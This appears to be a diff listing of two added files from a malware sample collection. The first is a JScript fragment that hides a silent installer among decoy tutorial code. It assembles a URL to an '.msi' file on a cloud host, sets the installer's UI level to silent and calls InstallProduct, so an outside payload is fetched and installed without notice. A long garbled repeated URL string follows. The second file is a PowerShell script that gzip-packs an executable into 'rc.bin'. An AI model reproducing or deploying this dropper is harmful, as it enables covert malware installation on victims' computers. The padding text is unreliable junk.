aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtxulu
|
code/27202534cc03a398308475146f6710b790aa31361931d4fe1b495c31c3ed54f7
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
function GzCompress {
|
| 2 |
+
|
| 3 |
+
[CmdletBinding()]
|
| 4 |
+
Param (
|
| 5 |
+
[Parameter(Position = 0, Mandatory = $True)]
|
| 6 |
+
[string] $SrcPath = $(Throw("-SrcPath is required")),
|
| 7 |
+
|
| 8 |
+
[Parameter(Position = 1, Mandatory = $True)]
|
| 9 |
+
[string] $DstPath = $(Throw("-DstPath is required"))
|
| 10 |
+
)
|
| 11 |
+
|
| 12 |
+
Process {
|
| 13 |
+
$byteArray = [System.IO.File]::ReadAllBytes($SrcPath)
|
| 14 |
+
if( $byteArray.Length -le 0 ) {
|
| 15 |
+
Throw("file read error.")
|
| 16 |
+
}
|
| 17 |
+
|
| 18 |
+
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
|
| 19 |
+
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
|
| 20 |
+
$gzipStream.Write( $byteArray, 0, $byteArray.Length )
|
| 21 |
+
$gzipStream.Close()
|
| 22 |
+
$output.Close()
|
| 23 |
+
$tmp = $output.ToArray()
|
| 24 |
+
|
| 25 |
+
[System.IO.File]::WriteAllBytes($DstPath, $tmp)
|
| 26 |
+
}
|
| 27 |
+
}
|
| 28 |
+
|
| 29 |
+
GzCompress -SrcPath ".\cmdline.exe" -DstPath ".\rc.bin"
|